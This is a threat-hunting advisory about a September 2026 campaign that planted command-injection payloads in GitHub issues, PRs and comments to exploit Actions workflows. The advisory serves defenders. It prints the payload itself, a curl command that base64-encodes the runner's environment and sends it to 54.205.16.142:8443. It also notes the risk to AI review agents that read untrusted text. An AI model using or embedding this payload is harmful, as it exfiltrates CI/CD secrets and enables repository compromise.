---
title: Hunt: 83 GitHub issues, PRs and comments across 61 repos (Trivy, LangExtract, MLflow, Brave, PX4) carried a $(curl ...env...) payload aimed at workflows that paste untrusted text into shell; look for 54.205.16.142:8443 | ctxsec
url: https://ctxsec.com/items/hunt-radware-github-issue-pr-actions-injection-54-205-16-142
description: ""
status: "vendor research (Radware, Oct 29); execution confirmed in 2 workflow runs; no confirmed repo takeover or downstream compromise"
published: 2026-10-29
---

> 

[← Threat Hunting](/hunting) · [markdown](/items/hunt-radware-github-issue-pr-actions-injection-54-205-16-142.md)

vendor research (Radware, Oct 29); execution confirmed in 2 workflow runs; no confirmed repo takeover or downstream compromise

2026-10-29

### Hunt: 83 GitHub issues, PRs and comments across 61 repos (Trivy, LangExtract, MLflow, Brave, PX4) carried a $(curl ...env...) payload aimed at workflows that paste untrusted text into shell; look for 54.205.16.142:8443

Radware found the campaign while studying prompt injection on GitHub. On **Sept 1, 2026**, 74 named accounts (some with real development history, at least one owner saying they never posted it) dropped 77 items in 43 minutes (11:26:51 to 12:10:00 UTC) and six more at 18:17 to 18:19 UTC. 31 payloads sat in titles, 17 in bodies and 35 in comments, sometimes hidden in HTML comments so they do not render. The payload:

```
$(curl -s http://54.205.16.142:8443/c/<32-hex id> -d $(env|base64|tr -d '\n'))
```

It only fires where a workflow expands `${{ github.event.issue.title }}`, `...pull_request.title`, `...body` or `...comment.body` directly inside a `run:` block. Radware proved execution in **PX4/PX4-Autopilot PR #28488** (a PR-title check passed the title to Python, which received `GIF89a...` output instead) and **Snouzy/workout-cool issue #251** (a Discord notifier). One project said Actions did not run but an AI comment-review agent with credentials could have read the text.

**Hunt:**

1. Search your org's issues, PRs and comments since Sept 1 for `54.205.16.142`, `:8443/c/` and `$(curl` / `env|base64`, including raw Markdown (HTML comments).
2. In Actions logs, look for `warning: command substitution: ignored null byte in input` in steps that handle titles or bodies, and egress from runners to 54.205.16.142.
3. Grep workflows for `${{ github.event.(issue|pull_request|comment|review|discussion)` inside `run:`, especially on `issues`, `issue_comment` and `pull_request_target` triggers.
4. If a run executed, rotate every secret and token that job could see and review audit logs for pushes, releases and new deploy keys after Sept 1.

Sources: [Radware: Inside a GitHub supply chain attack campaign: command injection, attempts to exfiltrate CI/CD data, and evidence of execution (Oct 29)](https://www.radware.com/blog/inside-a-github-supply-chain-attack-campaign/) · [GitHub Docs: Security hardening for GitHub Actions, understanding the risk of script injections](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)